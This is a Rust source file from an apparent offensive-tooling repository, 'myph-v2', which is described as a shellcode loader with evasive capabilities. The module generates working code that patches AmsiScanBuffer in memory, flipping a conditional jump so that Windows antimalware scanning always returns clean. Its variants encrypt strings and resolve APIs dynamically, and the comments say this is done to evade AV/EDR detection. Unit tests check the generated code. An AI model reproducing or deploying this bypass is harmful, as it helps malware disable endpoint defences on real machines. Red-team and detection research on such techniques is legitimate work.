myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
amsi_patch.rs (20697B)
1 //! AMSI Patch Code Generation 2 //! 3 //! This module generates code for patching Windows Antimalware Scan Interface (AMSI) 4 //! to bypass runtime script scanning. The technique works by modifying the AmsiScanBuffer 5 //! function in amsi.dll to always return a clean result. 6 //! 7 //! # AMSI Bypass Technique 8 //! 9 //! The patch searches for a specific byte pattern (0xC3 0xCC 0xCC) in AmsiScanBuffer, 10 //! then scans backwards to find a conditional jump instruction (0x74) that can be 11 //! modified to an unconditional jump (0x75), causing the function to always return 12 //! success without actually scanning the content. 13 //! 14 //! # Builder Pattern 15 //! 16 //! The `AmsiPatchBuilder` provides a flexible way to generate AMSI patch code with 17 //! different configurations: 18 //! 19 //! - **Basic**: Static imports, plaintext strings 20 //! - **String Encryption**: Encrypted "amsi.dll" and "AmsiScanBuffer" strings 21 //! - **Dynamic Resolver**: Dynamically resolve API functions at runtime 22 //! 23 //! # Example 24 //! 25 //! ``` 26 //! use myph_v2::internals::templates::AmsiPatchBuilder; 27 //! 28 //! // Basic AMSI patch 29 //! let code = AmsiPatchBuilder::new().build(); 30 //! 31 //! // With string encryption 32 //! let code = AmsiPatchBuilder::new() 33 //! .with_string_encryption("[encrypted]", "[encrypted]", "[key]", "decrypt_fn", "") 34 //! .build(); 35 //! ``` 36 37 /// Builder for generating AMSI patch code with configurable features 38 pub struct AmsiPatchBuilder<'a> { 39 with_string_encryption: bool, 40 with_dynamic_resolver: bool, 41 dll_array: Option<&'a str>, 42 func_array: Option<&'a str>, 43 key_array: Option<&'a str>, 44 decrypt_fn: Option<&'a str>, 45 expect_clause: Option<&'a str>, 46 dynamic_params: Option<DynamicResolverParams<'a>>, 47 } 48 49 /// Parameters for dynamic function resolution in AMSI patching 50 struct DynamicResolverParams<'a> { 51 dll_resolver: &'a str, 52 func_resolver: &'a str, 53 load_library_resolver: &'a str, 54 load_library_cast: &'a str, 55 get_proc_address_resolver: &'a str, 56 get_proc_address_cast: &'a str, 57 virtual_protect_resolver: &'a str, 58 virtual_protect_cast: &'a str, 59 } 60 61 impl<'a> AmsiPatchBuilder<'a> { 62 pub fn new() -> Self { 63 Self { 64 with_string_encryption: false, 65 with_dynamic_resolver: false, 66 dll_array: None, 67 func_array: None, 68 key_array: None, 69 decrypt_fn: None, 70 expect_clause: None, 71 dynamic_params: None, 72 } 73 } 74 75 pub fn with_string_encryption( 76 mut self, 77 dll_array: &'a str, 78 func_array: &'a str, 79 key_array: &'a str, 80 decrypt_fn: &'a str, 81 expect_clause: &'a str, 82 ) -> Self { 83 self.with_string_encryption = true; 84 self.dll_array = Some(dll_array); 85 self.func_array = Some(func_array); 86 self.key_array = Some(key_array); 87 self.decrypt_fn = Some(decrypt_fn); 88 self.expect_clause = Some(expect_clause); 89 self 90 } 91 92 #[allow(clippy::too_many_arguments)] 93 pub fn with_dynamic_resolver( 94 mut self, 95 dll_resolver: &'a str, 96 func_resolver: &'a str, 97 load_library_resolver: &'a str, 98 load_library_cast: &'a str, 99 get_proc_address_resolver: &'a str, 100 get_proc_address_cast: &'a str, 101 virtual_protect_resolver: &'a str, 102 virtual_protect_cast: &'a str, 103 ) -> Self { 104 self.with_dynamic_resolver = true; 105 self.dynamic_params = Some(DynamicResolverParams { 106 dll_resolver, 107 func_resolver, 108 load_library_resolver, 109 load_library_cast, 110 get_proc_address_resolver, 111 get_proc_address_cast, 112 virtual_protect_resolver, 113 virtual_protect_cast, 114 }); 115 self 116 } 117 118 pub fn build(self) -> String { 119 let imports = generate_imports_section(self.with_dynamic_resolver); 120 let string_loading = generate_string_loading_section(StringLoadingParams { 121 with_string_encryption: self.with_string_encryption, 122 with_dynamic_resolver: self.with_dynamic_resolver, 123 dll_array: self.dll_array, 124 func_array: self.func_array, 125 key_array: self.key_array, 126 decrypt_fn: self.decrypt_fn, 127 expect_clause: self.expect_clause, 128 dynamic_params: self.dynamic_params.as_ref(), 129 }); 130 let api_resolution = generate_api_resolution_section( 131 self.with_dynamic_resolver, 132 self.dynamic_params.as_ref(), 133 ); 134 let protection_resolution = generate_protection_resolution_section( 135 self.with_dynamic_resolver, 136 self.dynamic_params.as_ref(), 137 ); 138 let patch_logic = generate_patch_logic(); 139 140 let load_library_fn = if self.with_dynamic_resolver { 141 "load_library_a" 142 } else { 143 "LoadLibraryA" 144 }; 145 let get_proc_address_fn = if self.with_dynamic_resolver { 146 "get_proc_address" 147 } else { 148 "GetProcAddress" 149 }; 150 let virtual_protect_fn = if self.with_dynamic_resolver { 151 "virtual_protect" 152 } else { 153 "VirtualProtect" 154 }; 155 156 format!( 157 r#" 158 {imports} 159 160 const SEARCH_SIZE: usize = 0x1000; 161 162 fn patch_amsi() -> Result<(), String> {{ 163 unsafe {{ 164 let patch_opcode = 0x75u8; 165 166 {string_loading} 167 168 {api_resolution} 169 170 let h_module = {load_library_fn}(amsi_dll.as_ptr()); 171 if h_module.is_null() {{ 172 return Err("Failed to load amsi.dll".to_string()); 173 }} 174 175 let address = {get_proc_address_fn}(h_module, amsi_scan_buffer.as_ptr()); 176 if address.is_null() {{ 177 return Err("Failed to get AmsiScanBuffer address".to_string()); 178 }} 179 180 {patch_logic} 181 182 {protection_resolution} 183 184 if {virtual_protect_fn}(p_patch_address, 1, page_execute_readwrite, &mut old_protect) == 0 {{ 185 return Err("Failed to change memory protection".to_string()); 186 }} 187 188 *(p_patch_address as *mut u8) = patch_opcode; 189 190 if {virtual_protect_fn}(p_patch_address, 1, old_protect, &mut old_protect) == 0 {{ 191 return Err("Failed to restore memory protection".to_string()); 192 }} 193 }} 194 195 Ok(()) 196 }} 197 "# 198 ) 199 } 200 } 201 202 impl Default for AmsiPatchBuilder<'_> { 203 fn default() -> Self { 204 Self::new() 205 } 206 } 207 208 fn generate_imports_section(with_dynamic_resolver: bool) -> String { 209 if with_dynamic_resolver { 210 "use std::ptr::null_mut;".to_string() 211 } else { 212 r#"use std::ptr::null_mut; 213 214 #[link(name = "kernel32")] 215 extern "system" { 216 fn LoadLibraryA(lp_lib_file_name: *const u8) -> *mut c_void; 217 fn GetProcAddress(h_module: *mut c_void, lp_proc_name: *const u8) -> *mut c_void; 218 }"# 219 .to_string() 220 } 221 } 222 223 struct StringLoadingParams<'a> { 224 with_string_encryption: bool, 225 with_dynamic_resolver: bool, 226 dll_array: Option<&'a str>, 227 func_array: Option<&'a str>, 228 key_array: Option<&'a str>, 229 decrypt_fn: Option<&'a str>, 230 expect_clause: Option<&'a str>, 231 dynamic_params: Option<&'a DynamicResolverParams<'a>>, 232 } 233 234 fn generate_string_loading_section(params: StringLoadingParams) -> String { 235 if params.with_dynamic_resolver { 236 let dyn_params = params.dynamic_params.unwrap(); 237 format!( 238 r#" {} 239 {} 240 241 let mut amsi_dll = amsi_dll_decrypted; 242 amsi_dll.push(0); 243 244 let mut amsi_scan_buffer = amsi_func_decrypted; 245 amsi_scan_buffer.push(0);"#, 246 dyn_params.dll_resolver, dyn_params.func_resolver 247 ) 248 } else if params.with_string_encryption { 249 format!( 250 r#" const ENCRYPTED_AMSI_DLL: &[u8] = &{}; 251 const ENCRYPTED_AMSI_FUNC: &[u8] = &{}; 252 const AMSI_KEY: &[u8] = &{}; 253 254 let amsi_dll_decrypted = {}(ENCRYPTED_AMSI_DLL, AMSI_KEY){}; 255 let amsi_func_decrypted = {}(ENCRYPTED_AMSI_FUNC, AMSI_KEY){}; 256 257 let mut amsi_dll = amsi_dll_decrypted; 258 amsi_dll.push(0); 259 260 let mut amsi_scan_buffer = amsi_func_decrypted; 261 amsi_scan_buffer.push(0);"#, 262 params.dll_array.unwrap_or(""), 263 params.func_array.unwrap_or(""), 264 params.key_array.unwrap_or(""), 265 params.decrypt_fn.unwrap_or(""), 266 params.expect_clause.unwrap_or(""), 267 params.decrypt_fn.unwrap_or(""), 268 params.expect_clause.unwrap_or("") 269 ) 270 } else { 271 r#" let amsi_dll = b"amsi.dll\0"; 272 let amsi_scan_buffer = b"AmsiScanBuffer\0";"# 273 .to_string() 274 } 275 } 276 277 fn generate_api_resolution_section( 278 with_dynamic_resolver: bool, 279 dynamic_params: Option<&DynamicResolverParams>, 280 ) -> String { 281 if with_dynamic_resolver { 282 let params = dynamic_params.unwrap(); 283 format!( 284 r#" {} 285 {} 286 287 {} 288 {}"#, 289 params.load_library_resolver, 290 params.load_library_cast, 291 params.get_proc_address_resolver, 292 params.get_proc_address_cast 293 ) 294 } else { 295 String::new() 296 } 297 } 298 299 fn generate_protection_resolution_section( 300 with_dynamic_resolver: bool, 301 dynamic_params: Option<&DynamicResolverParams>, 302 ) -> String { 303 if with_dynamic_resolver { 304 let params = dynamic_params.unwrap(); 305 format!( 306 r#" let mut old_protect: u32 = 0; 307 let page_execute_readwrite: u32 = 0x40; 308 309 {} 310 {}"#, 311 params.virtual_protect_resolver, params.virtual_protect_cast 312 ) 313 } else { 314 r#" let mut old_protect: u32 = 0; 315 let page_execute_readwrite: u32 = 0x40;"# 316 .to_string() 317 } 318 } 319 320 fn generate_patch_logic() -> String { 321 r#" let pattern = [0xC3u8, 0xCCu8, 0xCCu8]; 322 let mut p_patch_address: *mut c_void = null_mut(); 323 let bytes = std::slice::from_raw_parts(address as *const u8, SEARCH_SIZE); 324 325 if let Some(x) = bytes.windows(pattern.len()).position(|window| window == pattern) {{ 326 for i in (0..x).rev() {{ 327 if bytes[i] == 0x74 {{ 328 let offset = bytes.get(i + 1).copied().unwrap_or(0); 329 let target_index = i.wrapping_add(2).wrapping_add(offset as usize); 330 331 if target_index < SEARCH_SIZE && bytes.get(target_index) == Some(&0xB8) {{ 332 p_patch_address = (address as *const u8).add(i) as *mut c_void; 333 break; 334 }} 335 }} 336 }} 337 }} 338 339 if p_patch_address.is_null() {{ 340 return Err("Failed to find patch location".to_string()); 341 }}"# 342 .to_string() 343 } 344 345 /// Generates basic AMSI patch code with static imports and plaintext strings. 346 /// 347 /// This is the simplest form of AMSI patching, using standard Windows API imports 348 /// and unencrypted strings. Suitable when stealth is not a primary concern. 349 /// 350 /// # Returns 351 /// 352 /// A Rust code string containing the `patch_amsi()` function with static imports. 353 pub fn generate_amsi_patch_code() -> String { 354 AmsiPatchBuilder::new().build() 355 } 356 357 /// Generates AMSI patch code with encrypted strings for "amsi.dll" and "AmsiScanBuffer". 358 /// 359 /// This variant encrypts the critical strings to avoid static detection by AV/EDR solutions. 360 /// The strings are decrypted at runtime before use. 361 /// 362 /// # Arguments 363 /// 364 /// * `dll_array` - Encrypted byte array for "amsi.dll" 365 /// * `func_array` - Encrypted byte array for "AmsiScanBuffer" 366 /// * `key_array` - Encryption key byte array 367 /// * `decrypt_fn` - Name of the decryption function to call 368 /// * `expect_clause` - Optional expect clause for error handling (e.g., ".expect(\"msg\")") 369 /// 370 /// # Returns 371 /// 372 /// A Rust code string containing the `patch_amsi()` function with string encryption. 373 pub fn generate_amsi_patch_code_with_string_encryption( 374 dll_array: &str, 375 func_array: &str, 376 key_array: &str, 377 decrypt_fn: &str, 378 expect_clause: &str, 379 ) -> String { 380 AmsiPatchBuilder::new() 381 .with_string_encryption(dll_array, func_array, key_array, decrypt_fn, expect_clause) 382 .build() 383 } 384 385 /// Parameters for AMSI patching with dynamic function resolution. 386 /// 387 /// These parameters provide the code snippets needed to dynamically resolve 388 /// Windows API functions at runtime, avoiding static IAT entries. 389 pub struct AmsiDynamicResolverParams<'a> { 390 pub dll_resolver: &'a str, 391 pub func_resolver: &'a str, 392 pub load_library_resolver: &'a str, 393 pub load_library_cast: &'a str, 394 pub get_proc_address_resolver: &'a str, 395 pub get_proc_address_cast: &'a str, 396 pub virtual_protect_resolver: &'a str, 397 pub virtual_protect_cast: &'a str, 398 } 399 400 /// Generates AMSI patch code with dynamic function resolution. 401 /// 402 /// This is the most sophisticated variant, resolving all required Windows API functions 403 /// at runtime through PEB walking. This avoids static imports in the IAT and makes 404 /// static analysis more difficult. 405 /// 406 /// # Arguments 407 /// 408 /// * `params` - Configuration for dynamic function resolution including code snippets 409 /// for resolving LoadLibraryA, GetProcAddress, and VirtualProtect 410 /// 411 /// # Returns 412 /// 413 /// A Rust code string containing the `patch_amsi()` function with dynamic resolution. 414 pub fn generate_amsi_patch_code_with_dynamic_resolver(params: AmsiDynamicResolverParams) -> String { 415 AmsiPatchBuilder::new() 416 .with_dynamic_resolver( 417 params.dll_resolver, 418 params.func_resolver, 419 params.load_library_resolver, 420 params.load_library_cast, 421 params.get_proc_address_resolver, 422 params.get_proc_address_cast, 423 params.virtual_protect_resolver, 424 params.virtual_protect_cast, 425 ) 426 .build() 427 } 428 429 #[cfg(test)] 430 mod tests { 431 use super::*; 432 433 #[test] 434 fn test_generate_amsi_patch_code_basic() { 435 let code = generate_amsi_patch_code(); 436 assert!(code.contains("fn patch_amsi() -> Result<(), String>")); 437 assert!(code.contains("const SEARCH_SIZE: usize = 0x1000")); 438 assert!(code.contains("let amsi_dll = b\"amsi.dll\\0\"")); 439 assert!(code.contains("let amsi_scan_buffer = b\"AmsiScanBuffer\\0\"")); 440 assert!(code.contains("LoadLibraryA")); 441 assert!(code.contains("GetProcAddress")); 442 assert!(code.contains("let patch_opcode = 0x75u8")); 443 assert!(code.contains("#[link(name = \"kernel32\")]")); 444 } 445 446 #[test] 447 fn test_generate_amsi_patch_code_with_string_encryption() { 448 let dll_array = "[1, 2, 3]"; 449 let func_array = "[4, 5, 6]"; 450 let key_array = "[7, 8, 9]"; 451 let decrypt_fn = "internals::decrypt_xor"; 452 let expect_clause = ""; 453 454 let code = generate_amsi_patch_code_with_string_encryption( 455 dll_array, 456 func_array, 457 key_array, 458 decrypt_fn, 459 expect_clause, 460 ); 461 462 assert!(code.contains("fn patch_amsi() -> Result<(), String>")); 463 assert!(code.contains("const ENCRYPTED_AMSI_DLL: &[u8] = &[1, 2, 3]")); 464 assert!(code.contains("const ENCRYPTED_AMSI_FUNC: &[u8] = &[4, 5, 6]")); 465 assert!(code.contains("const AMSI_KEY: &[u8] = &[7, 8, 9]")); 466 assert!(code.contains("internals::decrypt_xor")); 467 assert!(code.contains("let mut amsi_dll = amsi_dll_decrypted")); 468 assert!(code.contains("amsi_dll.push(0)")); 469 assert!(code.contains("#[link(name = \"kernel32\")]")); 470 } 471 472 #[test] 473 fn test_generate_amsi_patch_code_with_dynamic_resolver() { 474 let params = AmsiDynamicResolverParams { 475 dll_resolver: "let amsi_dll_decrypted = vec![1, 2, 3];", 476 func_resolver: "let amsi_func_decrypted = vec![4, 5, 6];", 477 load_library_resolver: "let load_lib_ptr = resolve_function();", 478 load_library_cast: "let load_library_a = std::mem::transmute(load_lib_ptr);", 479 get_proc_address_resolver: "let get_proc_ptr = resolve_function();", 480 get_proc_address_cast: "let get_proc_address = std::mem::transmute(get_proc_ptr);", 481 virtual_protect_resolver: "let vp_ptr = resolve_function();", 482 virtual_protect_cast: "let virtual_protect = std::mem::transmute(vp_ptr);", 483 }; 484 485 let code = generate_amsi_patch_code_with_dynamic_resolver(params); 486 487 assert!(code.contains("fn patch_amsi() -> Result<(), String>")); 488 assert!(code.contains("let amsi_dll_decrypted = vec![1, 2, 3]")); 489 assert!(code.contains("let amsi_func_decrypted = vec![4, 5, 6]")); 490 assert!(code.contains("let load_lib_ptr = resolve_function()")); 491 assert!(code.contains("let get_proc_ptr = resolve_function()")); 492 assert!(code.contains("let vp_ptr = resolve_function()")); 493 assert!(!code.contains("#[link(name = \"kernel32\")]")); 494 assert!(code.contains("load_library_a(amsi_dll.as_ptr())")); 495 assert!(code.contains("get_proc_address(h_module, amsi_scan_buffer.as_ptr())")); 496 assert!(code.contains("virtual_protect(p_patch_address")); 497 } 498 499 #[test] 500 fn test_amsi_patch_builder_basic() { 501 let code = AmsiPatchBuilder::new().build(); 502 assert!(code.contains("fn patch_amsi() -> Result<(), String>")); 503 assert!(code.contains("let amsi_dll = b\"amsi.dll\\0\"")); 504 } 505 506 #[test] 507 fn test_amsi_patch_builder_with_string_encryption() { 508 let code = AmsiPatchBuilder::new() 509 .with_string_encryption( 510 "[10, 20, 30]", 511 "[40, 50, 60]", 512 "[70, 80, 90]", 513 "decrypt_aes", 514 ".expect(\"Failed\")", 515 ) 516 .build(); 517 518 assert!(code.contains("const ENCRYPTED_AMSI_DLL: &[u8] = &[10, 20, 30]")); 519 assert!(code.contains("decrypt_aes")); 520 assert!(code.contains(".expect(\"Failed\")")); 521 } 522 523 #[test] 524 fn test_amsi_patch_builder_with_dynamic_resolver() { 525 let code = AmsiPatchBuilder::new() 526 .with_dynamic_resolver( 527 "dll_resolve", 528 "func_resolve", 529 "load_lib_resolve", 530 "load_lib_cast", 531 "getproc_resolve", 532 "getproc_cast", 533 "vp_resolve", 534 "vp_cast", 535 ) 536 .build(); 537 538 assert!(code.contains("dll_resolve")); 539 assert!(code.contains("func_resolve")); 540 assert!(code.contains("load_lib_resolve")); 541 assert!(code.contains("vp_resolve")); 542 assert!(!code.contains("#[link(name = \"kernel32\")]")); 543 } 544 545 #[test] 546 fn test_all_variants_contain_common_logic() { 547 let basic = generate_amsi_patch_code(); 548 let encrypted = 549 generate_amsi_patch_code_with_string_encryption("[1]", "[2]", "[3]", "decrypt", ""); 550 let dynamic = generate_amsi_patch_code_with_dynamic_resolver(AmsiDynamicResolverParams { 551 dll_resolver: "let amsi_dll_decrypted = vec![];", 552 func_resolver: "let amsi_func_decrypted = vec![];", 553 load_library_resolver: "", 554 load_library_cast: "", 555 get_proc_address_resolver: "", 556 get_proc_address_cast: "", 557 virtual_protect_resolver: "", 558 virtual_protect_cast: "", 559 }); 560 561 for code in [basic, encrypted, dynamic] { 562 assert!(code.contains("const SEARCH_SIZE: usize = 0x1000")); 563 assert!(code.contains("let patch_opcode = 0x75u8")); 564 assert!(code.contains("let pattern = [0xC3u8, 0xCCu8, 0xCCu8]")); 565 assert!(code.contains("Failed to find patch location")); 566 assert!(code.contains("if bytes[i] == 0x74")); 567 assert!(code.contains("let page_execute_readwrite: u32 = 0x40")); 568 } 569 } 570 571 #[test] 572 fn test_generate_imports_section() { 573 let with_static = generate_imports_section(false); 574 assert!(with_static.contains("#[link(name = \"kernel32\")]")); 575 assert!(with_static.contains("LoadLibraryA")); 576 577 let with_dynamic = generate_imports_section(true); 578 assert!(!with_dynamic.contains("#[link(name = \"kernel32\")]")); 579 assert!(with_dynamic.contains("use std::ptr::null_mut")); 580 } 581 582 #[test] 583 fn test_generate_patch_logic() { 584 let logic = generate_patch_logic(); 585 assert!(logic.contains("let pattern = [0xC3u8, 0xCCu8, 0xCCu8]")); 586 assert!(logic.contains("if bytes[i] == 0x74")); 587 assert!(logic.contains("Failed to find patch location")); 588 } 589 590 #[test] 591 fn test_builder_default() { 592 let builder = AmsiPatchBuilder::default(); 593 assert!(!builder.with_string_encryption); 594 assert!(!builder.with_dynamic_resolver); 595 } 596 }